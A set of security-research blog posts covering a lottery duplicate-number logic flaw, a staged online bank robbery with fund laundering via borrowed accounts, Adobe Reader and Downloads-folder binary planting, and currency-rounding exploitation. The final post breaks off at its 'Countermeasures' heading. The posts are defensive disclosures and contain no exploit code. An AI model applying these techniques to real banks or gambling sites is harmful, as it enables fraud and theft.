Bridging the "Security Update Gap" With 0patch

Vulnerability Patches Can be Really Small and Easy to Apply

Yesterday we tweeted a proof-of-concept actual micropatch for the "Winshock" vulnerability (CVE-2014-6321, MS14-066) in Windows schannel.dll. The patch fixes a buffer overflow vulnerability that allowed attackers to execute arbitrary code on any SSL-enabled IIS server. (Thanks to Mike Czumak, BeyondTrust and Malware Tech for their awesome analyses, especially Mike for also sharing his method for triggering the bug.)

Our "0patch" for Winshock consists of just 11 machine instructions (28 bytes), which is a fairly typical size for a 0patch judging from over 300 0patches we've written so far. To put these 28 bytes in perspective, you should know that the official Microsoft's update that fixed the same vulnerability (although it might also have changed some other bits here and there) was 243 KB, which makes our 0patch roughly 8,800 times smaller than the official fix.

Read this entire post at the 0patch blog.

0patch

Fixing The Fixing

Those of you following our work have noticed the near-silence in our public department during the last two years. The blog was static, there were no news on the web site to speak of, and googling us gave no recent hits. Sure, our customers know we were as busy as ever under the blanket of serial NDAs, but what was going on in our "free" time?

One word: 0patch. We were building what we believe is going to fundamentally change the security game. And it seems so trivial, it's hard to comprehend that something like this hasn't been a standard procedure for ages. Well, no-one seemed to have bothered building it*, so we did.

Read this entire post at the 0patch blog.

Winning An Online Lottery In Just 6 Tries

A Case Study of Logical Error in Online Gambling

Gambling is one of the most profitable business models in the online world. There is no shortage of online betting houses and many state lotteries are setting up their own online equivalents to compete with commercial alternatives (if they fail to regulate them off the market, that is, but that's not today's topic). Let's take a look at a typical online lottery system.

A registered user signs in to the lottery web site and buys some online credits/points with which he will be able to play. He then enters the "Lottery" game, a simple game of trying to guess numbers that are to be drawn from a limited set by computer code on the server hopefully using unpredictable random number generation. For the purpose of this example, let's suppose that 7 numbers are drawn from the set of 1 to 40 (e.g., numbers 3, 14, 15, 22, 28, 33 and 39). In the most simple case, the user can select exactly 7 numbers; if these numbers match the drawn numbers exactly, he gets the maximum payout, but he also gets progressively smaller rewards for matching, say, 6, 5 or 4 of the drawn numbers.

For selecting 7 numbers, the user pays the price of a single bet (one combination of 7 numbers), but the user is also allowed to select from 8 up to 14 numbers, effectively playing with 8 7-number combinations (when selecting 8 numbers) up to 3,432 7-number combinations (when selecting 14 numbers), and being charged accordingly.

We've come across an online lottery application that worked as described, but had a terrible logical error that allowed a user to win jackpot in one out of six tries, each time betting just a single 7-number combination. With a large and growing number of gambling sites, it is possible that the same error might exist elsewhere.

With significant simplification, let's see the request sent by user to the server, and the server-side algorithm.


User's Request

Upon user's selecting and confirming 7 numbers, his web browser sends the following JSON request (len specifies how many numbers there are and numbers is an array with selected numbers):

[len:7;numbers:{2,8,15,17,18,28,32}]

When selecting 9 numbers, the request looks like this:

[len:9;numbers:{1,13,14,19,28,29,30,37,38}]


Server-Side Algorithm

Server-side pseudo-code processing user's request - after having already drawn 7 unpredictable random numbers between 1 and 40 - looks like this:


// len must match the size of numbers array
If length(numbers) not equal len then
    Error("The length of the numbers array doesn't match len.")

// len must be between 7 and 14
If len < 7 or len > 14 then
    Error("The length of the numbers array is out of bounds.")

// User must have sufficient funds
If Not SufficientFunds(len) then
    Error("Insufficient funds for the bet.")

// Count the drawn numbers guessed by user
Count = 0

// For every number in user's set, check if it was drawn
For i = 1 to len {

    // number must be between 1 and 40
    If numbers[i] < 1 or numbers[1] > 40 then
        Error("Invalid number.")
    If numbers[i] in drawn_numbers then
        Count = Count + 1 // We found another match
}

// Log the number of correct guesses
Log("User correctly guessed " + Count + "numbers.")


For the purpose of this study, we don't care how the server then determines the prize. Let's just say that if Count equals 7, the user wins the jackpot.


What is Wrong With This Code?

At the first glance, the code looks okay: it checks if the length of the numbers array matches the len value, it checks if len is within allowed bounds, it checks if the user has sufficient funds on his account to make this bet, it checks if each user-supplied number is between 1 and 40 and it increases the Count value when one of user-supplied numbers is found in the set of previously drawn 7 winning numbers.

So a malicious user can't play without paying first, he can't bet with more than 14 numbers (although if charged accordingly, this would not be a loss for the lottery), and he can't play with "silly" numbers (not that such numbers would give him any advantage either).

What the code above doesn't check for, however, and what makes a huge difference in the mathematical model of this lottery, is that the user is not required to provide unique numbers: his set of numbers can be, for instance, 1, 1, 2, 2, 3, 3, and 4. Or, let's be extreme: 1, 1, 1, 1, 1, 1, and 1. But how does this benefit the user?

The For loop iterates through every user-supplied number and increases Count if it finds that number among the winning numbers. Now, if the user plays with numbers 1, 1, 1, 1, 1, 1, and 1, Count will be 0 if number 1 is not among the winning numbers - but it will be 7 if number 1 is among the winning numbers (which occurs with probability of 17.5%).

This changes the odds of winning the jackpot from 1 in more than 18 million to 1 in less than 6. Quite a bargain.

If you're hosting an online lottery application, it would be a good idea to see whether you code does something similar.

P.S.: The described vulnerability is another case where migrating a business model from physical world to the Internet enables a new type of attack that was previously not possible (i.e., in a traditional paper-based lottery, you cannot cross the same number seven times). It is therefore easy to understand why one can overlook such possibility when writing online lottery code. See this blog post for a similar case.

@mkolsek
@acrossecurity

User-in-the-Middle

Just a quick description for what we think may (or may not) become an important attack technique in the future:

User-in-the-Middle (UITM) - A technique where attacker hides behind a legitimate user of an online service in order to avoid being traced once his/her malicious activities are detected. Applicable where user registration - providing access to said online service and its vulnerabilities - requires exposure of user's real identity, e.g., in online banking.

In contrast to the well known Man-in-the-Middle (MITM) technique and its web application derivative, Browser-in-the-Middle, where the attacker intercepts communication between a user and an online service in an attempt to steal user's physical or digital property while hiding the attack from the user, a user-in-the-middle attack is an attack against the server (not the user), but utilizing user's computer as well as his identity to perform the attack. This allows the attacker to effectively hide behind the user and make it appear as if the user was actually the source of malicious activity. Even if forensic investigation subsequently discovers that it was not the user who performed the malicious activities, the traces on his computer would be insufficient for tracking down a smart attacker. Furthermore, a cautious attacker would erase user's computer after use, deleting all remaining traces of his activities.

@mkolsek
@acrossecurity

Anatomy Of An Online Bank Robbery

This article is partly a summary of, and partly an update to, my presentation titled "How To Rob An Online Bank And Get Away With It," presented at SOURCE Boston last month and previously at DeepSec Vienna.

The subject of our dissection is an online bank robbery. Not the all-too-common attack against an online banking user, his computer and his identity, but an attack against the bank itself - or more precisely, against the bank's online banking application.

An online banking attack has four distinct phases:

1. Vulnerability Finding Phase
2. Vulnerability Exploitation Phase
3. Buying Time Phase
4. Extraction Phase

Let's look at each of these phases individually.


Phase 1: Vulnerability Finding

Online banking applications are typically custom-made or at least significantly customized for every individual bank, and one can not find their source code on the Internet. A motivated attacker could certainly try to obtain source code from the developers (finding out who they are should be simple enough) and search for vulnerabilities in the code without risking detection, but online banking application's code may not be enough for identifying actually usable vulnerabilities: for instance, even if the code exhibits lack of input validation in a critical flow, there may still be some back-end validation in place that would stop attempted exploitation. Therefore, profit-driven attackers who don't care which bank they attack will more likely approach vulnerability finding in a black box manner by trying a long list of usual tricks that work in online banking until one turns out to be working.

Since this phase is an interactive one, the attacker runs a risk of being detected while looking for vulnerabilities and verifying their exploitability. Furthermore, a typical online banking system only provides access to its functionalities - and consequently, vulnerabilities - to registered users; in order to become an online banking user, one must undergo a face-to-face interaction with the bank and provide proof of identity while being recorded by on-premise security cameras. The attacker does not particularly like such exposure as it could reveal his real identity during inevitable forensic investigation.

To avoid this risk, we expect the attackers will start using (or perhaps already are using?) a technique we call User-in-the-Middle. In contrast to the well known Man-in-the-Middle technique and its web application derivative, Browser-in-the-Middle, where the attacker intercepts communication between a user and an online banking server in an attempt to steal user's funds while hiding the attack from the user, a user-in-the-middle attack is an attack against the server (not the user), but utilizing user's computer as well as his identity to perform the attack. This allows the attacker to effectively hide behind the user and make it appear as if the user was actually the source of the attack (or, in this phase, the one looking for vulnerabilities in an online banking application). Even if forensic investigation subsequently discovers that it was not the said user who performed the malicious activities, the traces on his computer would be insufficient for tracking down a smart attacker.

Phase 2: Vulnerability Exploitation

Once the vulnerability finding phase has produced an exploitable vulnerability - typically a logical flaw such as acceptance of negative numbers, bypassing of overdraft limits, flawed authorization, etc. - the attacker will exploit it at a convenient time to avoid detection or delay bank's response time. This timing depends heavily on the functional periods of any particular online bank, as some functionalities may only be available during bank's operating hours (e.g., between 8:00AM and 3:00PM on working days) while some others may be available 24/7 (e.g., internal funds transfers). Regardless, the end goal of this phase is to generate a large sum of money on one or more attacker's accounts, which will then wait there for the last phase (extraction) or will - more likely - first be transferred to other banks in other countries to slow down subsequent investigative efforts.

Again, these "attacker's accounts" need not actually belong to the attacker or have any association with him. To avoid capture, the attacker can use the user-in-the-middle technique here to use an unsuspecting online banking user's identity for storing stolen funds on his account (while this user may be on vacation).


Phase 3: Buying Time

Once the digital money has been stolen and is sitting on one or more attacker-controlled bank accounts, the attacker knows it is just a matter of time before the attack is detected and the hunt for the stolen money begins. He knows that if the hunters locate the money he stole, it will get "frozen" or simply taken away (it is nothing more than bytes in a database, after all). To delay the hunters, one of the most obvious and effective methods is for the attacker to transfer the funds to another country, and then to yet another country, and so on. These countries are not to be chosen aribtrarily, but such as to maximize the delay provided by the (lack of) cooperation between said countries' law enforcement agencies.

Since large funds transfers can quickly trigger fraud detection alerts (in many countries, every transaction above 10K dollars or euros is automatically flagged for money laundering inspection), attacker will likely use "borrowed" corporate accounts instead of personal ones, since large cross-border transactions are not unusual in the business world.

Predictably, the abovementioned foreign countries' accounts can again be "borrowed" from legitimate users to hide attacker's identity.


Phase 4: Extraction

The last phase of the attack is about converting the stolen digital money, which is highly traceable as long as it remains in the digital global banking system, into an untraceable form. By and large, the most convenient untraceable form of money is cash. And the safest cash extraction points for attackers are ATMs, as they make it possible to withdraw cash without being recorded by a camera (covering face with cap or hood) or seen by a bank employee.

Most of the currently known cases of ATM-based cash extraction seem to be involving so-called money mules, i.e., gullible individuals who are duped into "little work, easy money" schemes without knowing they're helping criminals acquire stolen money. Criminals simply transfer stolen digital funds to mules' accounts and instruct them to withdraw cash, keep 10% and send the rest to another country via, say, Western Union. Criminals know that the police will likely catch some or all of the money mules but make sure that the trail stops cold at that point.

Interestingly, there is again a potential for user-in-the-middle here. Instead of recruiting money mules who can potentially decide not to send the agreed-upon 90% to the attacker, and can inevitably provide useful information to law enforcement when caught, the attacker could hack into multiple online banking users' computers - again, not to steal their money, but to send stolen money through their accounts to remote Western Union extraction points.

How To Block These Attacks?

Clearly we stand a better chance for blocking attacks once we understand how the attackers operate. While the last two phases (Buying Time and Extraction) are not unique to attacks against online banking servers (we also see them in attacks against online banking clients/users), phases 1 and 2 are distinct, and provide some unique ways for detecting and blocking the attack.

1. Vulnerability Finding Phase: Detecting activities typical for a vulnerability assessment could block the attack before any significant damage has been done. In case the attacker is using the user-in-the-middle technique to hide behind a legitimate online banking user, such early detection can provide law enforcement with more information about the attacker and possibly even allow them to covertly trace him back from the user's computer. Fortunately for defenders, there is a free OWASP AppSensor project focusing on such early attack detection, which can be utilized in online banking with relative ease. In addition, the vulnerability finding phase usually generates an increased amount of server-side errors (on web server, in application and/or in the database); a heightened number of errors associated with a single user account may be a sign of malicious activities and a reason to investigate the particular user.
2. Vulnerability Exploitation Phase: A characteristic feature of this phase is the emergence of unusually large funds on accounts that may previously not have had much money or have just been opened recently. While existing fraud detection mechanisms can be useful for detecting suspect patterns, attackers using "borrowed" corporate accounts would have a higher chance of remaining undetected. A careful attacker would also likely distribute stolen funds among several unrelated accounts, making detection all the more difficult.

Conclusion

In over 12 years of legally breaking into online banks and following public and not-so-public cases of attacks against banking IT systems, we've accumulated quite some experience with the subject and found many interesting vulnerability types specific to banking operations. We've long ago anticipated the shift from attacks against personal online banking users to corporate ones (which we're seeing increasingly happen today), and we now anticipate an increase in attacks against online banking applications - attacks where hacked online banking user accounts will mainly be used for hiding attackers' identities. We believe it's time for banks to prepare for such attacks, and fortunately this need not be very expensive. Naturally, minimizing the number of vulnerabilities in online banking applications should still be priority, but the next step is to build capacity for detecting attackers' looking for vulnerabilities and exploiting them.

@mkolsek
@acrossecurity

Adobe Reader X (10.1.2) msiexec.exe Planting

Outside The Sandbox, But Not Terribly Critical

Adobe today issued an update for Adobe Reader X (new version is 10.1.3), which, among other issues, fixes the outside-the-sandbox msiexec.exe EXE planting vulnerability (CVE-2012-0776) I roughly demonstrated during my RSA Conference US talk last month titled "Advanced (Persistent) Binary Planting."

This article explains the vulnerability and how it could have been exploited. It builds upon our research already published here, which I recommend you read before proceeding if you haven't already.


The Bug

It is a typical EXE planting: Under certain conditions, Reader (specifically, the AcroRd32.exe process) launches msiexec.exe using the CreateProcess function without providing a full path to the executable. This triggers a search for msiexec.exe through the CreateProcess search path as explained here; consequently, if the current working directory of AcroRd32.exe  happens to point to a location under attacker's control and said attacker planted a malicious msiexec.exe there, that msiexec.exe would get executed instead of the intended one.

Furthermore, attackers would appreciate the malicious msiexec.exe getting executed outside the Reader's sandbox, i.e. with unlimited permissions of the user running it.

So how does one get the Reader to point its current working directory to a location of a malicious executable? The easiest way is to place a PDF document and msiexec.exe in the same folder and either double-click the PDF or have the PDF opened by some application. Since the double-clicking scenario has been discussed extensively in the past and it is believed to be frustratingly difficult to get a security expert to double-click an unknown document in an Internet-based shared folder, we shall investigate the other vector: application-based document opening.


The Exploit - Stage One

As already mentioned in "Downloads Folder: A Binary Planting Minefield," the Downloads folder - a folder where most leading web browsers store user's downloads - can be a highly suitable location for what could aptly be called side-by-side payload. While most browsers will require user confirmation when a web site tries to download an executable to user's computer, Google Chrome was, and still is, willing to do so without any question - and such process of downloading can be highly unnoticeable. Let's see how this could look like for a user under attack.

The above video demonstrates how a web site can silently get msiexec.exe downloaded to user's Downloads folder by having the user click on a link - in this case, the link took the user to Google search page, but it could as well take him anywhere else, or nowhere, for that matter. A keen observer may have noticed that, around the 19th second of the video, a small Chrome pop-up window appears in the bottom right corner: this is where the download actually occurs in order to prevent the main Chrome window from displaying the button of the downloaded file. Some extra work could make this pop-up entirely invisible.

Now that we have a malicious msiexec.exe in our Downloads folder - possibly sitting there for weeks or months -, it's time for stage 2.


The Exploit - Stage Two

The second stage of the exploit requires a malicious web page to get some PDF document to the Downloads folder (where msiexec.exe is already waiting) and have the browser open it. This sounds easy - but there's a trick: the browser must open the PDF externally, in a separate Reader process, and not in browser's integrated PDF viewer. There is a way to achieve this in Chrome (and other browsers too). In the following video, we use Gmail to deliver an e-mail with a PDF document attached to the targeted user, and use Gmail's download functionality to actually download the PDF to the Downloads folder instead of rendering it directly in Chrome. Let's see what happens.

The video demonstrates one way to get a PDF downloaded (instead of rendered) to user's Downloads folder. Any malicious web site could do the same and not even offer a way for users to see the PDF directly in the browser (which Gmail does offer, by the way).

Also, the video shows what the user has to do in Reader to get the malicious msiexec.exe executed: he has to manually select Help -> Repair Adobe Reader Installation and confirm in by clicking Yes. Hardly what users go about doing on their own all the time, or even occasionally. The attack, therefore, requires social engineering; I'll leave it to others to continue the "How much social engineering is too much?" debate and shall merely point out a possibility that training users to avoid opening e-mail attachments from unknown sources or downloading executables from the Internet may not do much to prevent the same users from trying to repair their Reader in order to reach some strongly desired content.


Administrators Only

An important mitigating factor limits the exploitability of this issue: The Repair Adobe Reader Installation menu item is only available to administrative users. Therefore, if you're logged in to your desktop as a non-admin user, you now know of one more way in which your computer didn't get owned. On the other hand, if you're logged in to Windows 7 as a "protected administrator," you will have this menu item and if you chose to repair the Reader installation, you would probably not hesitate too much when the malicious msiexec.exe asked you to elevate its privileges.


Conclusion

All in all, this was not a terribly critical vulnerability as its exploit scenario includes non-trivial social engineering and it only applies to users working as administrators, but it serves as a nice reminder that EXE planting issues may continue to expose an application - and its users - even after the more commonly understood DLL planting bugs have been eradicated or mitigated. Meanwhile, attackers are probably happy to know that, with Chrome, it is much easier to silently plant an EXE to the Downloads folder than it is to do the same with a DLL.


Take care,
@mkolsek
@acrossecurity

Downloads Folder: A Binary Planting Minefield

Browser-Aided Remote Binary Planting, Part Deux

This article reveals a bit of our research and provides an advance notification of a largely unknown remote exploit technique on Windows. More importantly, it provides instructions for protecting your computers from this technique while waiting for the affected software to correct its behavior.

Two weeks from now I'll be holding a presentation at RSA Conference US called "Advanced (Persistent) Binary Planting" (Thursday, March 1, 9:30 AM Room 104). The presentation will include demonstrations of "two-step" binary planting exploits where in the first step the attacker silently deploys a malicious executable to user's computer, and the second step gets this executable launched. For those familiar with our past research on binary planting, this removes the need for remote shared folders as well as the need to get the user to double-click on a document in Windows Explorer.

Obviously, the idea is not new: If the attacker manages to somehow get her executable onto user's computer, getting it executed may be just a step away. But in order to deploy the file without heavy-duty social engineering (which invariably works in practice but is frowned upon among security folks) or physical access (which may include an overseas round trip), what is she left with? One ally she may find is the web browser - which lets the user download all sorts of files from all sorts of web sites. Directly to the Downloads folder.


What's In Your Downloads Folder, Anyway?

If you have ever downloaded anything from the Internet, you know that you can always find it in the browser's "Downloads" or "Downloaded files" window. This window also provides a way to delete any downloaded file, or all of them, with just a few clicks. Or so one would think.

Actually, browsers don't delete files from the Downloads folder: they only delete them from the browser's list so that they're no longer visible to the user. In fact, between the latest versions of top web browsers (Chrome, Firefox, Internet Explorer, Safari and Opera), only Internet Explorer 9 (not 8) and Opera provide a way to actually delete a downloaded file from the Downloads folder through their user interface, and even then you have to do it through a right-click menu - in Opera even a sub-menu. Only Opera allows you to delete all files at once.

As a result, your average Downloads folder is a growing repository of files, new, old and borderline ancient. If anything malicious sneaks by your browsers' warnings or your mental safeguards, it is bound to stay there for a long time. Waiting for someone or something to launch it.


Do You Really Want To Download This?

But, you may say, all major web browsers will warn the user if he tries to download an executable file, and the user will have to confirm the download. Right?

Not entirely. One major web browser will, under certain conditions (to be explained at the presentation), download an executable to the Downloads folder without asking or notifying the user. For sure, it will then not execute this file, but the file will remain in the Downloads folder. Possibly until the user re-installs Windows. Furthermore, the same web browser allows a malicious web page to trick the user into confirming a download attempt using clickjacking (an old trick), which is another way to get the executable to the Downloads folder.

And finally - applying to all web browsers -, if some extremely (perhaps even obscenely) interesting web site persistently tries to initiate a download of an executable, how many attempts will it take before an average web user tells it to shut up already and accepts the download, knowing that it will not be automatically executed?


Downloaded But Not Executed? Give It Time.

So the Downloads folder tends to host various not-so-friendly executables. Big deal; it's not like the user is going to double-click those EXEs and have them executed. No, not the user directly, but other executables that he downloads and executes - for instance, installers.

We found that a significant percentage of installers we looked at (especially those created by one leading installer framework) make a call to CreateProcess("msiexec.exe") [simplified for illustration] without specifying the full path to msiexec.exe. This results in the installer first trying to find msiexec.exe in the directory where it itself resides - i.e., in the Downloads folder (unless it was saved elsewhere) - and launching it if it finds it there.

And this is just one single executable. If you launch Process Monitor and observe activities in the Downloads folder when any installer is launched, you will find a long series of attempts to load various DLLs. Not surprising: this is how library loading works (first trying to find DLLs in the same folder as EXE), and in most cases it would not be a security problem as most folders hosting your EXEs are not attacker-writable. However, the Downloads folder is - to some extent, anyway.

So what do we have here? An ability to get malicious EXEs and DLLs to the Downloads folder, where they will in all likelihood remain for a very long time, and at least occasional activities on user's computer that load EXEs and DLLs from the Downloads folder. This can't be good.

But that's it for now. My presentation will also feature data files (non-installers) launching executables from the Downloads folder in a "classic" binary planting manner, instructions for finding binary planting bugs, recommendations for administrators, developers and pentesters, and more.


What You Should Do Right Now

For those of you who think we might be the first people in the world to have thought of this - we sincerely appreciate your compliments! The rest of you should do the following:

1. Open your browser's Downloads folder in Windows Explorer or any other file manager.
2. Look for the presence of msiexec.exe. If you find it there and you don't think you intentionally downloaded it at some point in the past, send it to your favorite malware research (anti-virus) company and delete it from your Downloads folder.
3. Look for the presence of any *.dll files in the Downloads folder and do the same as in the previous step.
4. Delete all files from the Downloads folder.
5. Locate msiexec.exe in your %SystemRoot%\System32 folder and copy it to the Downloads folder. (Note: this will prevent Windows to update the msiexec.exe that will be used when installing files from the Downloads folder, but won't affect installers launched from other locations. On the upside, it will also block installer-based attacks described above.)

Hope to see you at RSA Conference,
@mkolsek
@acrossecurity

Should We Be Focusing On Vulnerabilities Or Exploits?

Or Maybe Both?

This post was inspired by a recent ZDNET article "Offensive security research community helping bad guys" and this ThreatPost interview after the Kaspersky security analyst summit, in which Adobe security chief Brad Arkin explains his (Adobe's) philosophy on addressing software vulnerabilities. The crux of this philosophy can be summarized with Brad's words: "My goal isn't to find and fix every security bug, I'd like to drive up the cost of writing exploits.". Subsequently, he mentioned that offensive security researchers are "driving that cost down when they research a new technique to hack into software, write a paper and publish it to the world."

Although the average sentiment of the comments under the "offensive security" article was, well..., offensive, one thing is true: if the only alternative to driving up the cost of writing exploits were to find and fix every security bug, and one would have to choose between the two, the former is the logical choice - after all, it is a general consensus (or as some prefer: excuse) that you can never find all security bugs, while one can achieve demonstrable success in driving up the costs of exploitation for many vulnerabilities. (And Adobe, having introduced sandboxing to the Reader, has undoubtedly made real progress in this area.)


Reality vs. Perception

If you're in charge of product security, your official job description is probably something like "make our products secure". But in all likelihood, your effective job description, as your employer sees it, is more akin to "make our products perceived as secure". Don't misunderstand this: Your employer won't mind if your product is actually secure, but he will mind if it is not perceived as such and it adversely affects the sales. I'm sure most people would do their best - and actually do bend over backwards - to make their products actually as secure as possible, but what affects a company's bottom line is customers' perception, not the reality. And the market's invisible hand (through superiors' and owners' not-so-invisible hands) will make it really clear that perception has priority over reality. Which is, incidentally, not only a case with infosec, but the way things work wherever reality is elusive.

Let's think about that for a while. Where does the difference between perception and reality come from? As already noted, reality is elusive in information security, full of known unknowns (have we missed any buffer overflows or XSSs; is our product being silently exploited?) as well as unknown unknowns (who knows what new attack methods those pesky researchers will come up with tomorrow?). And while you do know that security of your product improves with each identified and fixed vulnerability, you don't know where you are on the scale - there is, alas, no scale.

Perception, on the other hand, is more measurable and more manageable: you can listen to your customers and prospects to see what they think of your security - and this will, in the absence of your marketing material, largely depend on their knowledge of (1) your product's vulnerabilities and (2) publicized incidents involving your product. The former tend to frequently find their ways to public vulnerability lists - and your customers -, but the latter are more tricky: I'm confident that an overwhelming majority of break-ins are never even detected (typically: data theft), much less publicized. And for those detected, is the exploited vulnerability ever determined at all? As a result, most publicized incidents that are actually linked to vulnerable products involve self-replicating exploits (e.g., worms) that ended up in malware researchers' labs. The point being that we generally only know about incidents involving specific remotely exploitable vulnerabilities, suitable for worm-like malware. Others remain unknown.


The Hidden Danger

Developing methods for limiting exploitability is of great value. Sandboxes, ASLR, DEP and other exploit mitigation techniques do drive the cost of exploitation up, and do so for a wide range of different vulnerability types. This is good.

There is, however, a hidden danger in focusing on limiting exploitability instead of exterminating vulnerabilities. Let me illustrate with a (maybe not so) hypothetical dialog:

You: "There is a vulnerability in your product."
Vendor: "Yes, but it's not exploitable."
You: "How do you know it's not exploitable?"
Vendor: "Well, it hasn't been exploited yet."
You: "How do you know it hasn't been exploited yet?"
Vendor: "We're not aware of any related incidents. Are you?"
You: "Uhm..., no, but..."
Vendor: "Case closed."

The danger here is that replacing a determinable value (existence of a known vulnerability) with a non-determinable one (absence of exploits/incidents) when deciding whether to fix a security flaw may result in a better perception of security ("We don't know of any incidents, therefore there aren't any") but worse reality. Why? Because it opens the door to reasoning that it doesn't make sense to fix vulnerabilities if there's a second layer of defense that blocks their exploitability. And then, once someone finds a hole in this second layer of defense, there will be an array of vulnerabilities to choose from for mounting a successful attack.

So let's hope that software vendors don't have to choose between limiting exploitability and exterminating vulnerabilities, but can actually do both. (Google's Chris Evans replied to Brad on Twitter, "Unfortunately, modern security best practice is BOTH 1) sandbox and 2) find/fix bugs aggressively"). I know from personal experience that Adobe is actively finding and fixing bugs in their products in addition to making exploitation harder, so I think Brad is being misunderstood there. But as far as hacking exploit-mitigation mechanisms goes, a flaw in such mechanism is a vulnerability like any other: it allows an adversary to do something that should have been impossible. As such, it is unreasonable to expect that these vulnerabilities would not be researched, discussed, privately reported, published on mailing lists, sold and bought, and silently or publicly exploited just like others are - depending on who finds them.


P.S.: On a somewhat related note, I will present an out-of-sandbox remote exploitation of a binary planting vulnerability in Adobe Reader X at RSA Conference US on March 1st. There will be no remote shares, no WebDAV and no double-clicking on files, just pure browser-aided code execution. We notified Adobe about this bug in early January, so it won't be alive for long.

@mkolsek

Is Your Online Bank Vulnerable To Currency Rounding Attacks?

A Hefty Discount Your Bank Never Intended To Give You

In the 12+ years of doing penetration tests against various critical environments, we've seen numerous online banking servers and found all sorts of vulnerabilities in them, including bugs that allowed users to take money from other users' accounts, make unlimited overdrafts on their own accounts, transfer negative amounts to other accounts (effectively sucking other users' money from these accounts) and even - frightening as it may sound - create unlimited amounts of money out of thin air. These types of critical bugs in financial systems are not nearly as rare as one would hope; in fact, our experience shows that at least one such defect exists in your online bank if it hasn't been thoroughly and regularly reviewed by different researchers with a lot of knowledge about banking vulnerabilities and attacks. (As a rule of thumb, if your bank's penetration testing call for proposals contains the word "scanning" or specifies the number of IP addresses to test instead of focusing on  application code and logic, their online systems are likely hosting various logical security flaws.)

While such vulnerabilities can allow an online thief to take a lot of money from bank's customers or the bank itself, doing so would positively qualify as a punishable criminal act in most jurisdictions.


Legally Exploitable Security Flaws

There exist, however, other types of logical security flaws in financial systems whose "exploitation" can be perfectly legal. One such flaw is in the way rounding is done in currency exchange and allows users to effectively influence the currency exchange rates to such extent that, for instance, they get 100 EUR (Euro) for 100 USD (US Dollar) even though 100 EUR would normally cost approximately 130 USD.

To our knowledge, this type of flaw was first described in the 2001 paper titled Assymetric Currency Rounding by M'Raïhi, Naccache and Tunstall of Gemplus, and later in a 2008 Corsaire paper Breaking the bank -Vulnerabilities in numeric processing within financial applications. We've been regularly detecting it in online banking systems we've reviewed. Here's how it works.


Currency Exchange 101

Banks usually have two exchange rates for currency exchange: the buying rate is the rate at which the bank will buy the foreign currency, while the selling rate is the rate at which they will sell it. These rates can be expressed either as direct quotations (how many units of local currency equal to one unit of foreign currency) or indirect quotations (how many units of foreign currency equal to one unit of local currency). According to Wikipedia, most countries are using direct quotations, while indirect quotations are used in Euro zone and a few others.

In this article, we'll be using numerals with decimal comma and a point as a thousands separator. For example, one thousand will be written as 1.000,00. (Apologies to the readers accustomed to different notations.)

Suppose a European bank is providing the following indirect quotation for US Dollar exchange rates:

• Buying rate: 1,388 (you pay 1,388 USD for 1,00 EUR)
• Selling rate: 1,364 (you get 1,364 USD for 1,00 EUR)

Obviously, exchange rates effectively provide a margin for the bank even if no separate commision is charged for the exchange. For example, if you buy 1.364,00 USD for 1.000,00 EUR and sell them back to the bank, you get 982,71 EUR, making a loss of 17,29 EUR.


Rounding

Banks typically operate with two decimal digits and while various calculations (e.g., interests or currency exchange) are done with higher precision, the final results are rounded to two decimal digits. Now, if the bank is fair, this rounding is done to the nearest number, i.e., such that 7,237 is rounded up to 7,24 while 2,221 is rounded down to 2,22. Whether a tie-breaking case such as 1,505 is rounded to 1,50 or 1,51 is of little relevance to this article.


How Much Do I Get For One Cent?

While we've seen that the above exchange rates provide a sensible business model for the bank in a typical case, security researchers are usually more interested in atypical cases, especially various corner cases. One such corner case is the lowest possible value, typically 0,01 - which in many currencies means one cent.

What happens if you want to convert one Euro cent to US Dollars? The European online bank will use the selling rate:

0,01 EUR * 1,364 USD/EUR = 0,01364 USD

After rounding, you will get 0,01 USD. Obviously you'll make a loss (a Dollar cent is worth less than a Euro cent in our example), which nominally doesn't look significant, but is actually a 27% loss.

But what if you reverse the direction and convert one USD cent to EUR? This time, the buying rate is used:

0,01 USD  / 1,388 USD/EUR = 0,0072046109510086455331412103746398 EUR

After rounding, you get 0,01 EUR. Now this is better: the rounding just made you an instant profit of 38,8%. Of course, the profit is nominally tiny and probably won't get you a cup of coffee anywhere in the world, but this procedure can be executed repeatedly in a fully automated way. By doing so a hundred times, 1 whole US Dollar can be exchanged for one whole Euro. A hundred thousand times, and one gets 1.000,00 EUR for 1.000,00 USD (a profit of 280,00 EUR). Even if one has to first buy the 1.000,00 USD at the same bank (at bank's selling rate) for 733,14 EUR, the total profit equals to 266,86 EUR. And this profit is from a legitimate use of service provided by the bank on their terms and in their controlled environment.


But How Many Cents Can I Sell?

Suppose an online bank can accept a hundred requests per second (a highly conservative assumption - large banks have to support thousands of requests per second in peak periods), an automated script can make 100*60*60*24 = 8.640.000 one-cent exchange requests per day, making a profit of about 23.000 EUR every 24 hours if this online bank provides currency exchange services around the clock.

Many online banks allow users to upload prepared packages with multiple requests, possibly thousands of them, which the server will then process in a batch. Obviously, this can further expedite the procedure.

Another Example: Japanese Yen

Our above example used two currencies of a similar value. The same method works with any two currencies, for instance with Euro and Japanese Yen (JPY). Suppose the bank's buying rate for Yen is 97,5949. Therefore, exchanging Yens to Euro would work like this:

0,50 JPY / 97,5949  JPY/EUR = 0,0051232185288370601332651603721096

After rounding, you get 0,01 EUR (a profit of over 95%).


Maximizing The Yield

By now it is clear that the profit comes from rounding errors. When working with two decimal digits, the maximum rounding error can be 0,005 for any individual operation. The closer the converted value is to 0,005 (but above it), the higher the profit will be when the number is rounded to 0,01 - and it is easier to maximize the profit using currencies with larger exchange rates (see the Yen example above), as they allow for a better "fine tuning" when trying to get as close to 0,005 as possible.

This also means that a single exchange operation can, at best, produce a profit of 0,005 units of the target currency, so obtaining a non-negligible nominal profit would certainly require hundreds of thousands of operations.


Is This Really Legal?

The essential property of this "exploitation" is that you're really not doing anything to bypass any security mechanisms the bank has put in place; you're simply using the provided functionality the way it was intended, and it is inconceivable that exchanging 1.00 USD would be legal, and exchanging 0.02 USD would also be legal, but entering 0.01 in the same form field would not be.

Note that the legality of this can change significantly if one has to actively "help" the system to accept the low amount. Even if there is just a client-side JavaScript validation in place preventing entering of too small values, which we all know can be easily bypassed, the law (at least European law) could interpret such bypassing as illegal.
Another catch may also be in the Terms and Conditions that a particular bank sets for their users. These could include provisions for annulling certain transactions, e.g., transactions by individual users not done manually through the intended user interface or erroneous transactions due to logical errors in the code.

We've had many conversations with our banking customers who were affected by this logical flaw, some of them losing more than 100.000 EUR or USD, and their final conclusion was always that they didn't have legal grounds for persecuting the "attacker", and would have to just swallow the loss and add some countermeasures to the code to prevent it from happening again.


Countermeasures

